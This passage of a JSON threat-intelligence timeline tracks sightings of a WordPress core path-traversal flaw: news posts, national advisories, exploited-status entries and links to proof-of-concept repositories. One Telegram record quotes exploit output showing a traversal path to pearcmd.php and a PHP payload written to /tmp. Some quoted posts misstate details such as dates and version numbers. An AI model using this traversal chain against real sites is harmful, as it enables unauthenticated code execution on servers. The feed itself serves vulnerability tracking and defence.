to conditional RCE (WP 4.7.0-7.1.1, fixed 7.1.2). Authorized/defensive testing.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103110"}, {"timestamp": "2026-09-23T06:00:14Z", "date_only": false, "value": "2026-09-23T06:00:14.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103110", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7e45a0a4-6d6c-43b7-99ba-a5b9f82a201e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-87902-wordpress-lfi-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 05:20:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproduction lab + URL-list scanner + PoC for CVE-2026-87902 / GHSA-7hp8-65ch-5whp \u2014 WordPress get_page_template() unauthenticated LFI to conditional RCE (WP 4.7.0-7.1.1, fixed 7.1.2). Authorized/defensive testing.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103110"}, {"timestamp": "2026-09-23T06:25:01.871Z", "date_only": false, "value": "2026-09-23T06:25:01.871890Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/fortrabbit.com/post/3mw647katym2g", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "32fd353d-a42d-4650-8a99-c252d8077abb", "content": "Busy security week. Keep your software updated:\n- WordPress core, back to 4.7: CVE-2026-87902\n- Craft CMS 5, fixed in 5.10.13: CVE-2026-92591, CVE-2026-92593\n- Composer, fixed in 2.10.3: CVE-2026-59944", "url": "https://bsky.app/profile/fortrabbit.com/post/3mw647katym2g"}, {"timestamp": "2026-09-23T06:49:40Z", "date_only": false, "value": "2026-09-23T06:49:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DBXTERSLEARNING/1311", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "85ca1269-f9c1-4d11-9383-1ee6ebe22f3e", "content": "--- 7.0.2  (RENTAN - SUCCESS) ---\n[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php\n[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)\n[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response\n[+] proof         : CVE-2026-87902-POC-OK\n[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges\n    rc=0\n\nPoc : https://github.com/ressl/cve-2026-87902-poc", "url": "https://t.me/DBXTERSLEARNING/1311"}, {"timestamp": "2026-09-23T07:00:18Z", "date_only": false, "value": "2026-09-23T07:00:18.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/9U7Jfkkdm_n1rW5oMt1sIqud05yWwvxzwlqttGcYDVKzfAA", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9d1c0b29-f7ad-4329-b549-ce1db67f230b"}, {"timestamp": "2026-09-23T07:00:18Z", "date_only": false, "value": "2026-09-23T07:00:18.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/9U7Jfkkdm_n1rW5oMt1sIqud05yWwvxzwlqttGcYDVKzfAA", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a82681d4-89e4-458a-b369-68a375066efc"}, {"timestamp": "2026-09-23T07:30:22.258Z", "date_only": false, "value": "2026-09-23T07:30:22.258403Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mw67ueqsnz22", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f9f19969-705c-4e95-ac00-90eaf3e8ee79", "content": "WordPress core flaw CVE-2026-87902 allows unauthenticated RCE. Update to 7.1.2 now to stay safe. #WordPress #Security #CVE2026 #RemoteCodeExecution #WebSecurity #UpdateNow https://thedailytechfeed.com/unauthenticated-rce-flaw-in-wordpress-core-puts-sites-at-risk/", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3mw67ueqsnz22"}, {"timestamp": "2026-09-23T08:28:49.199Z", "date_only": false, "value": "2026-09-23T08:28:49.199340Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-0cacd50c-85d97e0568eaf4e5", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "1050d957-c385-4ba0-bc41-7272cb945b2c", "content": "WordPress 7.1.2 fixes an unauthenticated file inclusion bug active since version 4.7, patchable but exploitable into remote code execution. WordPress 7.1.2 shipped on September 22 address an unauthenticated local file inclusion, tracked as CVE-2026-87902 (CVSS score of 9.2), which stems of how the CMS resolves page templates, with a real path to remote code execution. [\u2026]CVE-2026-87902: how close is your WordPress to remote code execution? - Security Affairs", "url": "https://poliverso.org/objects/0477a01e-0cacd50c-85d97e0568eaf4e5"}, {"timestamp": "2026-09-23T08:28:52.887Z", "date_only": false, "value": "2026-09-23T08:28:52.887342Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mw6d4wo2lyl2", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "cd9cdd2d-5415-41ba-9f2b-682f4f440682", "content": "WordPress 7.1.2 fixes an unauthenticated file inclusion bug active since version 4.7, patchable but exploitable into remote code execution. WordPress 7.1.2 shipped on September 22 address an unauthenticated local file inclusion, tracked as CVE-2026-87902 (CVSS score of 9.2), which stems of how [\u2026]", "url": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mw6d4wo2lyl2"}, {"timestamp": "2026-09-23T08:40:24.660Z", "date_only": false, "value": "2026-09-23T08:40:24.660700Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mw6drm33pk2a", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9abc7990-77c4-46e4-875d-0d7e77bc427b", "content": "CVE-2026-87902: how close is your WordPress to remote code execution?\n\nsecurityaffairs.com/199564/hacki...\n\n#Cybersecurity #Cyber #SituationalAwareness", "url": "https://bsky.app/profile/hapsis.bsky.social/post/3mw6drm33pk2a"}, {"timestamp": "2026-09-23T08:47:20.419Z", "date_only": false, "value": "2026-09-23T08:47:20.419358Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/obivan/statuses/117319482734196730", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "4430048c-5fad-4e94-a139-470012f90d10", "content": "WordPress unauthenticated LFI to RCE PoC https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab", "url": "https://infosec.exchange/users/obivan/statuses/117319482734196730"}, {"timestamp": "2026-09-23T08:47:24.241Z", "date_only": false, "value": "2026-09-23T08:47:24.241961Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mw6e647nz4l2", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "54e70c77-b924-4ff2-9808-de86c46fc9e2", "content": "WordPress unauthenticated LFI to RCE PoC https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab", "url": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mw6e647nz4l2"}, {"timestamp": "2026-09-23T09:00:04Z", "date_only": false, "value": "2026-09-23T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/6k-At-azVffZmu9NaaKszWckni_HqjNCfOaauq7mZCKYU4U", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "fbbbbe7b-2a09-4e46-bce0-7cd4b8450bdc"}, {"timestamp": "2026-09-23T09:00:04Z", "date_only": false, "value": "2026-09-23T09:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/6k-At-azVffZmu9NaaKszWckni_HqjNCfOaauq7mZCKYU4U", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "151a213f-deaf-410b-ab7c-e8fc5f0b117b"}, {"timestamp": "2026-09-23T09:12:02.132Z", "date_only": false, "value": "2026-09-23T09:12:02.132175Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mw6fk66x7e2j", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "66d2a084-f087-4093-9289-7976c691877a", "content": "WordPress 7.1.2\u3001\u8a8d\u8a3c\u4e0d\u8981\u306e\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u91cd\u5927\u8106\u5f31\u6027\u3092\u4fee\u6b63(CVE-2026-87902)\n\nWordPress\u306f\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u653b\u6483\u8005\u304c\u30a2\u30af\u30c6\u30a3\u30d6\u30c6\u30fc\u30de\u306e\u30d5\u30a9\u30eb\u30c0\u5916\u304b\u3089\u4efb\u610f\u306ePHP\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u8fbc\u307e\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u91cd\u5927\u306a\u6b20\u9665\u3092\u4fee\u6b63\u3059\u308b\u305f\u3081\u3001\u30d0\u30fc\u30b8\u30e7\u30f37.1.2\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\u30b5\u30fc\u30d0\u30fc\u3068\u30a2\u30af\u30c6\u30a3\u30d6\u30c6\u30fc\u30de\u304c\u7279\u5b9a\u306e\u6761\u4ef6\u3092\u6e80\u305f\u3059\u30b5\u30a4\u30c8\u3067\u306f\u3001\u653b\u6483\u8005\u304c\u3055\u3089\u306b\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042", "url": "https://bsky.app/profile/blackhatnews.tokyo/post/3mw6fk66x7e2j"}, {"timestamp": "2026-09-23T09:14:01.644Z", "date_only": false, "value": "2026-09-23T09:14:01.644463Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mw6fnnnxps2m", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "314e086b-f386-4a86-b4a8-f2c994153068", "content": "WordPress 7.1.2 fixes critical unauthenticated path traversal vulnerability (CVE-2026-87902)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/09/23/c...\n\n#cybersecurity #cybersecuritynews #securityupdate #vulnerability #websecurity #CMS #CVE @wordpress.org @wordpress.com", "url": "https://bsky.app/profile/helpnetsecurity.com/post/3mw6fnnnxps2m"}, {"timestamp": "2026-09-23T09:18:07.927Z", "date_only": false, "value": "2026-09-23T09:18:07.927528Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mw6fuzuuig24", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "58b87db8-6d24-4624-b2b3-16ac3e847d73", "content": "WordPress released a critical patch on September 22, 2023, for a vulnerability (CVE-2026-87902) that allows attackers to execute code on some servers without an account. The flaw affects versions 4.7.0 to 7.1.1, with a CVSS score of 9.2. Users are advised to update to version 7.1.", "url": "https://bsky.app/profile/securityrss.bsky.social/post/3mw6fuzuuig24"}, {"timestamp": "2026-09-23T09:47:46Z", "date_only": false, "value": "2026-09-23T09:47:46.000000Z", "kind": "sighting", "label": "Seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0389", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "035a0e1d-5759-49e5-881e-1f5b293c7c08", "content": "De ontwikkelaars van WordPress hebben een kwetsbaarheid verholpen in WordPress.\n\n Een kwaadwillende kan de kwetsbaarheid met kenmerk CVE-2026-87902 misbruiken, om zonder authenticatie een lokaal PHP-bestand buiten de actieve themamappen door WordPress te laten inladen. Onder bepaalde voorwaarden met betrekking tot het actieve thema en de serverconfiguratie kan de kwetsbaarheid leiden tot het uitvoeren van willekeurige code op de server. Hierdoor kan een kwaadwillende mogelijk toegang krijgen tot gevoelige gegevens, wijzigingen aanbrengen of verdere controle verkrijgen over de getroffen WordPress-installatie.", "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0389"}, {"timestamp": "2026-09-23T10:00:04.753Z", "date_only": false, "value": "2026-09-23T10:00:04.753214Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/257234", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8707585f-9a9b-4d1d-b013-d932f39670bf", "content": "CVE-2026-87902: how close is your WordPress to remote code execution?\nhttps://ift.tt/8JzwOtS", "url": "https://t.me/ctinow/257234"}, {"timestamp": "2026-09-23T10:00:37.066Z", "date_only": false, "value": "2026-09-23T10:00:37.066383Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3mw6ib2abwm2l", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "0392b189-03a8-431a-b72a-ed38980db5d4", "content": "WordPress corregge una falla critica sfruttabile senza login: quando pu\u00f2 portare a RCE\nUna falla critica nel Core di WordPress consente a un attaccante non autenticat...\nhttps://www.ilsoftware.it/wordpress-falla-critica-rce-cve-2026-87902-senza-login/", "url": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3mw6ib2abwm2l"}, {"timestamp": "2026-09-23T10:13:38.557Z", "date_only": false, "value": "2026-09-23T10:13:38.557368Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mw6iybptxk26", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "380fbb1c-0a37-4fdc-bd47-4d4c37ea77e0", "content": "WordPress 7.1.2 fixes critical unauthenticated path traversal vulnerability (CVE-2026-87902)\n\nwww.helpnetsecurity.com/2026/09/23/c...\n\n#Kyberturvallisuus #ThreatIntel #Haavoittuvuus", "url": "https://bsky.app/profile/hapsis.bsky.social/post/3mw6iybptxk26"}, {"timestamp": "2026-09-23T11:47:46.389Z", "date_only": false, "value": "2026-09-23T11:47:46.389018Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2026-0389", "record": "NCSC-2026-0389", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2026-09-23T11:47:46.389Z", "date_only": false, "value": "2026-09-23T11:47:46.389018Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2026-0389", "record": "NCSC-2026-0389", "field": "document.tracking.initial_release_date"}, {"timestamp": "2026-09-23T12:00:05.337Z", "date_only": false, "value": "2026-09-23T12:00:05.337965Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-87902.yaml", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9527cdd2-54e5-4d1d-8481-914b71bfc35a", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-87902.yaml"}, {"timestamp": "2026-09-23T12:00:07Z", "date_only": false, "value": "2026-09-23T12:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103129", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6a5cdd46-dc4b-4cac-a4f6-e7b1a985fc74", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Hassham1\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 11:54:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core <= 7.1.1 unauthenticated LFI to RCE - validation lab, PoC, nuclei template (GHSA-7hp8-65ch-5whp)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103129"}, {"timestamp": "2026-09-23T12:00:07Z", "date_only": false, "value": "2026-09-23T12:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103129", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9c261ece-0c5c-4ce6-b0ab-6e09e9da56b4", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Hassham1\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 11:54:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core <= 7.1.1 unauthenticated LFI to RCE - validation lab, PoC, nuclei template (GHSA-7hp8-65ch-5whp)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103129"}, {"timestamp": "2026-09-23T12:15:04.091Z", "date_only": false, "value": "2026-09-23T12:15:04.091630Z", "kind": "sighting", "label": "Seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0389", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "53724836-fd73-4b08-9026-09eae3ae4249", "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0389"}, {"timestamp": "2026-09-23T12:45:02.198Z", "date_only": false, "value": "2026-09-23T12:45:02.198168Z", "kind": "sighting", "label": "Seen", "source": "https://www.acn.gov.it/portale/w/wordpress-poc-pubbliche-per-lo-sfruttamento-di-nuove-vulnerabilita", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "bacf447a-2fdc-4512-9654-fc8e732fd87b", "url": "https://www.acn.gov.it/portale/w/wordpress-poc-pubbliche-per-lo-sfruttamento-di-nuove-vulnerabilita"}, {"timestamp": "2026-09-23T12:53:51Z", "date_only": false, "value": "2026-09-23T12:53:51+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2026-87902", "field": "timestamps.asserted_at", "uuid": "d94335f8-a75d-4714-b625-7e5c5418779a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T12:53:51Z", "date_only": false, "value": "2026-09-23T12:53:51+00:00", "kind": "kev", "label": "First seen", "source": "previdian", "record": "CVE-2026-87902", "field": "timestamps.first_seen_at", "uuid": "d94335f8-a75d-4714-b625-7e5c5418779a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T12:53:51Z", "date_only": false, "value": "2026-09-23T12:53:51+00:00", "kind": "kev", "label": "Status updated", "source": "previdian", "record": "CVE-2026-87902", "field": "status.status_updated_at", "uuid": "d94335f8-a75d-4714-b625-7e5c5418779a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T12:53:51.266Z", "date_only": false, "value": "2026-09-23T12:53:51.266Z", "kind": "kev", "label": "Catalog added", "source": "previdian", "record": "CVE-2026-87902", "field": "evidence.0.details.added_date", "uuid": "d94335f8-a75d-4714-b625-7e5c5418779a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T13:10:32.505Z", "date_only": false, "value": "2026-09-23T13:10:32.505480Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mw6sunsosm2k", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "b389207b-adab-4827-99f2-3fceae3083ac", "content": "\ud83d\udd17 CVE : CVE-2026-87902", "url": "https://bsky.app/profile/o2cloud.bsky.social/post/3mw6sunsosm2k"}, {"timestamp": "2026-09-23T13:33:47.850Z", "date_only": false, "value": "2026-09-23T13:33:47.850258Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mw6u67rv5u23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6892def9-0b5f-48dc-a0b4-02389dd24e8a", "content": "If you stopped at Click2Shell / 7.1.1, you are not done.\n\nCVE-2026-87902 is unauth LFI in core template resolution. Patchstack saw probes the same day.\n\nUpdate to 7.1.2 or your backport. Hunt logs for odd pagename + page_id.\n\nAlready patched? Drop a \u2705. Agency life? Pass it to your clients.", "url": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mw6u67rv5u23"}, {"timestamp": "2026-09-23T13:37:01.960Z", "date_only": false, "value": "2026-09-23T13:37:01.960376Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mw6udz2kxp2p", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6fe41be9-43f8-46fd-aded-e0ddb2ef112f", "content": "WordPress 9.2: la falla cr\u00edtica que afecta desde 2016\n\n\u00bfTu WordPress no se actualiza hace meses? La vulnerabilidad WordPress 9.2 (CVE-2026-87902) afecta todas las versiones desde 2016. Parche\u00e1 hoy mismo.\n\n#wordpress #cve202687902 #vulnerabilidadcritica #actualizacionwordpress #seguridadweb", "url": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mw6udz2kxp2p"}, {"timestamp": "2026-09-23T15:00:06Z", "date_only": false, "value": "2026-09-23T15:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/vqsPZgWgWmhUgO5aL_wpY6AtnbvKlpjOuzz_MF4q41HEYi4", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "503744ef-2d97-4f22-b9e7-d1fbf7ef7c94"}, {"timestamp": "2026-09-23T15:00:06Z", "date_only": false, "value": "2026-09-23T15:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/vqsPZgWgWmhUgO5aL_wpY6AtnbvKlpjOuzz_MF4q41HEYi4", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "1f6eea1e-b564-40ae-8484-01b7cf9c609c"}, {"timestamp": "2026-09-23T15:01:58.106Z", "date_only": false, "value": "2026-09-23T15:01:58.106923Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mw6z3urygu2e", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e6b5c2cb-b0d6-4773-a7b3-88df25da18c1", "content": "An exploited WordPress RCE vulnerability (CVE-2026-87902) is under attack. Details and PoC exploit code are public. Patch your sites now.\n\n#WordPress #CVE202687902 #RCE #Cybersecurity #Infosec #ZeroDay", "url": "https://bsky.app/profile/securityonline.bsky.social/post/3mw6z3urygu2e"}, {"timestamp": "2026-09-23T16:02:10Z", "date_only": false, "value": "2026-09-23T16:02:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103149", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9a2c7da6-ed46-450d-a7e5-4695e7d75513", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bhideki\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 15:58:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902:  PoC for WordPress's critical path traversal\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103149"}, {"timestamp": "2026-09-23T16:02:10Z", "date_only": false, "value": "2026-09-23T16:02:10.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103149", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "649cad62-61de-4078-86fd-959d84a20364", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bhideki\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 15:58:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902:  PoC for WordPress's critical path traversal\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103149"}, {"timestamp": "2026-09-23T16:04:46.219Z", "date_only": false, "value": "2026-09-23T16:04:46.219342Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mw74m6gtgh23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5f43f8b0-36a2-4692-bfc5-82017841edfa", "content": "~Cybergcca~\nWordPress CVE-2026-87902 is exploited in the wild; SolarWinds and HPE also require updates.\n-\nIOCs: CVE-2026-87902, CVE-2026-28325, CVE-2026-28324\n-\n#CVE202687902 #ThreatIntel #WordPress", "url": "https://bsky.app/profile/cyfar.ca/post/3mw74m6gtgh23"}, {"timestamp": "2026-09-23T16:15:18.528Z", "date_only": false, "value": "2026-09-23T16:15:18.528371Z", "kind": "sighting", "label": "Seen", "source": "https://www.ncsc.nl/alerts/kwetsbaarheid-in-wordpress-kan-leiden-tot-servermisbruik-update-nu", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "480f6d55-f137-4311-a8c7-1691d3a7c47c", "url": "https://www.ncsc.nl/alerts/kwetsbaarheid-in-wordpress-kan-leiden-tot-servermisbruik-update-nu"}, {"timestamp": "2026-09-23T16:15:32.292Z", "date_only": false, "value": "2026-09-23T16:15:32.292022Z", "kind": "sighting", "label": "Seen", "source": "https://cyber.gc.ca/en/alerts-advisories/wordpress-security-advisory-av26-952", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "91b8c149-4d8e-4a67-8efa-2a1cd45e4762", "url": "https://cyber.gc.ca/en/alerts-advisories/wordpress-security-advisory-av26-952"}, {"timestamp": "2026-09-23T17:31:34.987Z", "date_only": false, "value": "2026-09-23T17:31:34.987960Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wptips.com/post/3mw7bhfv6s72b", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e8bf0a5c-b25c-4bf0-b8d7-42de8441b793", "content": "WordPress 7.1.2 patches CVE-2026-87902, a critical path traversal flaw that allows unauthenticated remote code execution. Update immediately. #WordPress #Wordfence #Security", "url": "https://bsky.app/profile/wptips.com/post/3mw7bhfv6s72b"}, {"timestamp": "2026-09-23T18:31:50.604Z", "date_only": false, "value": "2026-09-23T18:31:50.604159Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mw7et65i2v2j", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "88c823e8-8389-4c8b-80b7-d085df8f74c7", "content": "Threat actors have moved from probing WordPress sites vulnerable to CVE-2026-87902 to exploiting the flaw to write files to disk that execute shell commands when accessed.", "url": "https://bsky.app/profile/bleepingcomputer.com/post/3mw7et65i2v2j"}, {"timestamp": "2026-09-23T18:52:56.022Z", "date_only": false, "value": "2026-09-23T18:52:56.022326Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/117321864004781832", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7227147f-7d06-422d-8811-50e8d3465c35", "content": "\ud83d\udea8[POC] CVE-2026-87902: WordPress Core versions up to and including 7.1.1 are affected by a Local File Inclusion vulnerability in the locate_template() function.\nGitHub: https://github.com/abraxas/CVE-2026-87902\nCredit: @abraxas_null (X)", "url": "https://infosec.exchange/users/DarkWebInformer/statuses/117321864004781832"}, {"timestamp": "2026-09-23T19:00:28.042Z", "date_only": false, "value": "2026-09-23T19:00:28.042467Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mw7gge4skt26", 